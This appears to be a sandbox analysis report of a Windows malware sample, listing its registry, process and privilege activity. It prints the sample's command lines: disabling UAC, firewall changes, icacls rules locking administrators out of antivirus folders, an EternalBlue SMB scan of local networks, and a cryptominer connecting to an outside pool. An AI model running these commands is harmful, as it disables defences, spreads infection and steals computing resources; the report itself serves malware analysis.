Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0002	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0002	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	spoolsv.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	perfmon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	perfmon.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	perfmon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	perfmon.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task

pid	Process
2164	schtasks.exe
2812	schtasks.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
3756	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
3444	ipconfig.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft XPS Document Writer = "winspool,Ne00:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Fax = "winspool,Ne02:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft Print to PDF = "winspool,Ne01:"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft Print to PDF = "winspool,Ne01:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft XPS Document Writer = "winspool,Ne00:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft Print to PDF = "winspool,Ne01:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Fax = "winspool,Ne02:,15,45"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft XPS Document Writer = "winspool,Ne00:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft XPS Document Writer = "winspool,Ne00:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft Print to PDF = "winspool,Ne01:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Fax = "winspool,Ne02:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Devices\Fax = "winspool,Ne02:"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Setup\WinMgmts:\	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\WinMgmts:\	update.exe
File opened for modification	C:\ProgramData\RealtekHD\winmgmts:\localhost\root\CIMV2	taskhost.exe
File opened for modification	C:\ProgramData\RealtekHD\winmgmts:\localhost\	taskhost.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
2088	update.exe
2088	update.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
1624	taskmgr.exe
1624	taskmgr.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe
2088	update.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
4992	taskhost.exe
3492	perfmon.exe
3148	taskmgr.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	taskmgr.exe
Token: SeSystemProfilePrivilege	1624	taskmgr.exe
Token: SeCreateGlobalPrivilege	1624	taskmgr.exe
Token: SeDebugPrivilege	2088	update.exe
Token: SeDebugPrivilege	1972	winserv.exe
Token: SeTcbPrivilege	3632	svchost.exe
Token: SeTcbPrivilege	3632	svchost.exe
Token: SeTakeOwnershipPrivilege	1240	winserv.exe
Token: SeTcbPrivilege	1240	winserv.exe
Token: SeTcbPrivilege	1240	winserv.exe
Token: SeDebugPrivilege	2244	perfmon.exe
Token: SeSystemProfilePrivilege	2244	perfmon.exe
Token: SeCreateGlobalPrivilege	2244	perfmon.exe
Token: SeDebugPrivilege	1560	RDPWinst.exe
Token: SeLockMemoryPrivilege	4528	MicrosoftHost.exe
Token: SeLockMemoryPrivilege	4528	MicrosoftHost.exe
Token: SeDebugPrivilege	3148	taskmgr.exe
Token: SeSystemProfilePrivilege	3148	taskmgr.exe
Token: SeCreateGlobalPrivilege	3148	taskmgr.exe
Token: SeDebugPrivilege	3492	perfmon.exe
Token: SeSystemProfilePrivilege	3492	perfmon.exe
Token: SeCreateGlobalPrivilege	3492	perfmon.exe
Token: SeDebugPrivilege	4712	winserv.exe
Token: SeTakeOwnershipPrivilege	5016	winserv.exe
Token: SeTcbPrivilege	5016	winserv.exe
Token: SeTcbPrivilege	5016	winserv.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
2244	perfmon.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
4528	MicrosoftHost.exe
3148	taskmgr.exe
3148	taskmgr.exe
3148	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
1624	taskmgr.exe
3148	taskmgr.exe
3148	taskmgr.exe
3148	taskmgr.exe
3148	taskmgr.exe
3148	taskmgr.exe

Suspicious use of SetWindowsHookEx 37 IoCs

pid	Process
4660	cmd.exe
3260	smss.exe
5068	GameGuard.exe
1972	winserv.exe
1972	winserv.exe
1972	winserv.exe
1972	winserv.exe
1972	winserv.exe
1240	winserv.exe
1240	winserv.exe
1240	winserv.exe
1240	winserv.exe
1560	RDPWinst.exe
1648	winserv.exe
1648	winserv.exe
1648	winserv.exe
1648	winserv.exe
4452	winserv.exe
4452	winserv.exe
4452	winserv.exe
4452	winserv.exe
3668	winserv.exe
3668	winserv.exe
3668	winserv.exe
3668	winserv.exe
4712	winserv.exe
4712	winserv.exe
4712	winserv.exe
4712	winserv.exe
5016	winserv.exe
5016	winserv.exe
5016	winserv.exe
5016	winserv.exe
880	winserv.exe
880	winserv.exe
880	winserv.exe
880	winserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 540	2088	update.exe	86
PID 2088 wrote to memory of 540	2088	update.exe	86
PID 540 wrote to memory of 1784	540	cmd.exe	88
PID 540 wrote to memory of 1784	540	cmd.exe	88
PID 2088 wrote to memory of 636	2088	update.exe	89
PID 2088 wrote to memory of 636	2088	update.exe	89
PID 2088 wrote to memory of 2696	2088	update.exe	91
PID 2088 wrote to memory of 2696	2088	update.exe	91
PID 2696 wrote to memory of 3732	2696	cmd.exe	93
PID 2696 wrote to memory of 3732	2696	cmd.exe	93
PID 636 wrote to memory of 1632	636	cmd.exe	94
PID 636 wrote to memory of 1632	636	cmd.exe	94
PID 2088 wrote to memory of 4920	2088	update.exe	95
PID 2088 wrote to memory of 4920	2088	update.exe	95
PID 4920 wrote to memory of 2228	4920	cmd.exe	99
PID 4920 wrote to memory of 2228	4920	cmd.exe	99
PID 2088 wrote to memory of 3228	2088	update.exe	98
PID 2088 wrote to memory of 3228	2088	update.exe	98
PID 3228 wrote to memory of 3168	3228	cmd.exe	101
PID 3228 wrote to memory of 3168	3228	cmd.exe	101
PID 2088 wrote to memory of 4644	2088	update.exe	102
PID 2088 wrote to memory of 4644	2088	update.exe	102
PID 4644 wrote to memory of 4472	4644	cmd.exe	104
PID 4644 wrote to memory of 4472	4644	cmd.exe	104
PID 2088 wrote to memory of 3480	2088	update.exe	105
PID 2088 wrote to memory of 3480	2088	update.exe	105
PID 3480 wrote to memory of 1828	3480	cmd.exe	107
PID 3480 wrote to memory of 1828	3480	cmd.exe	107
PID 2088 wrote to memory of 4548	2088	update.exe	108
PID 2088 wrote to memory of 4548	2088	update.exe	108
PID 4548 wrote to memory of 4716	4548	net1.exe	110
PID 4548 wrote to memory of 4716	4548	net1.exe	110
PID 2088 wrote to memory of 4188	2088	update.exe	111
PID 2088 wrote to memory of 4188	2088	update.exe	111
PID 2088 wrote to memory of 4188	2088	update.exe	111
PID 2088 wrote to memory of 2288	2088	update.exe	112
PID 2088 wrote to memory of 2288	2088	update.exe	112
PID 2088 wrote to memory of 2288	2088	update.exe	112
PID 2288 wrote to memory of 4660	2288	svchost.exe	206
PID 2288 wrote to memory of 4660	2288	svchost.exe	206
PID 2288 wrote to memory of 3260	2288	svchost.exe	116
PID 2288 wrote to memory of 3260	2288	svchost.exe	116
PID 4188 wrote to memory of 5068	4188	Game.exe	117
PID 4188 wrote to memory of 5068	4188	Game.exe	117
PID 4188 wrote to memory of 4992	4188	Game.exe	118
PID 4188 wrote to memory of 4992	4188	Game.exe	118
PID 3260 wrote to memory of 2164	3260	smss.exe	119
PID 3260 wrote to memory of 2164	3260	smss.exe	119
PID 3260 wrote to memory of 2812	3260	smss.exe	121
PID 3260 wrote to memory of 2812	3260	smss.exe	121
PID 3260 wrote to memory of 1972	3260	smss.exe	123
PID 3260 wrote to memory of 1972	3260	smss.exe	123
PID 3260 wrote to memory of 1972	3260	smss.exe	123
PID 3632 wrote to memory of 1240	3632	svchost.exe	126
PID 3632 wrote to memory of 1240	3632	svchost.exe	126
PID 3632 wrote to memory of 1240	3632	svchost.exe	126
PID 5068 wrote to memory of 4320	5068	GameGuard.exe	128
PID 5068 wrote to memory of 4320	5068	GameGuard.exe	128
PID 5068 wrote to memory of 4804	5068	GameGuard.exe	130
PID 5068 wrote to memory of 4804	5068	GameGuard.exe	130
PID 5068 wrote to memory of 5040	5068	GameGuard.exe	132
PID 5068 wrote to memory of 5040	5068	GameGuard.exe	132
PID 3260 wrote to memory of 3016	3260	smss.exe	134
PID 3260 wrote to memory of 3016	3260	smss.exe	134

System policy modification 1 TTPs 3 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe

C:\Users\Admin\AppData\Local\Temp\update.exe
"C:\Users\Admin\AppData\Local\Temp\update.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocks application from running via registry modification
- Drops file in Drivers directory
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc delete swprv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\system32\sc.exe
    sc delete swprv
    3⤵
    - Launches sc.exe
    PID:1784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:2228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:4472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:1828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
  2⤵
  PID:4548
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:4716
- C:\ProgramData\Setup\Game.exe
  C:\ProgramData\Setup\Game.exe -pnaxui
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\ProgramData\RealtekHD\GameGuard.exe
    "C:\ProgramData\RealtekHD\GameGuard.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4320
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:4804
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:5040
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:3732
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2704
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:4896
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny Администраторы:(F)
      4⤵
      PID:1672
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:4024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
      4⤵
      PID:1444
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:3080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
      4⤵
      PID:1520
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:4712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4592
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
      4⤵
      PID:868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:3496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
      4⤵
      PID:1776
- - C:\ProgramData\RealtekHD\taskhost.exe
    "C:\ProgramData\RealtekHD\taskhost.exe"
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - NTFS ADS
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /flushdns
      4⤵
      PID:2220
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /flushdns
        5⤵
        Gathers network information
        
        PID:3444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      4⤵
      Blocklisted process makes network request
      Executes dropped EXE
      NTFS ADS
      Suspicious use of SetWindowsHookEx
      PID:4660
    - - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        5⤵
        
        PID:400
  - - C:\ProgramData\Setup\Packs.exe
      C:\ProgramData\Setup\Packs.exe -ppidar
      4⤵
      Executes dropped EXE
      PID:4948
  - - C:\ProgramData\RealtekHD\sc.exe
      C:\ProgramData\RealtekHD\sc.exe -pnaxui
      4⤵
      Executes dropped EXE
      Launches sc.exe
      PID:3520
  - - C:\ProgramData\RealtekHD\start.exe
      C:\ProgramData\RealtekHD\start.exe
      4⤵
      Executes dropped EXE
      PID:4780
    - - C:\ProgramData\RealtekHD\rundll.exe
        
        C:\ProgramData\RealtekHD\rundll.exe
        5⤵
        Executes dropped EXE
        
        PID:1092
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "system.exe TCP 192.168.1.1 445 150 /save"
        6⤵
        
        PID:2416
        
        C:\ProgramData\RealtekHD\system.exe
        
        system.exe TCP 192.168.1.1 445 150 /save
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1280
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "Eternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R2"
        6⤵
        
        PID:1420
        
        C:\ProgramData\RealtekHD\Eternalblue-2.2.0.exe
        
        Eternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3204
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "system.exe TCP 10.127.0.12/16 445 150 /save"
        6⤵
        
        PID:3144
        
        C:\ProgramData\RealtekHD\system.exe
        
        system.exe TCP 10.127.0.12/16 445 150 /save
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4292
  - - C:\ProgramData\WindowsTask\audiodg.exe
      C:\ProgramData\WindowsTask\audiodg.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2876
  - - C:\ProgramData\WindowsTask\MicrosoftHost.exe
      C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u CPU --donate-level=1 -k -t1
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4528
- C:\ProgramData\Setup\svchost.exe
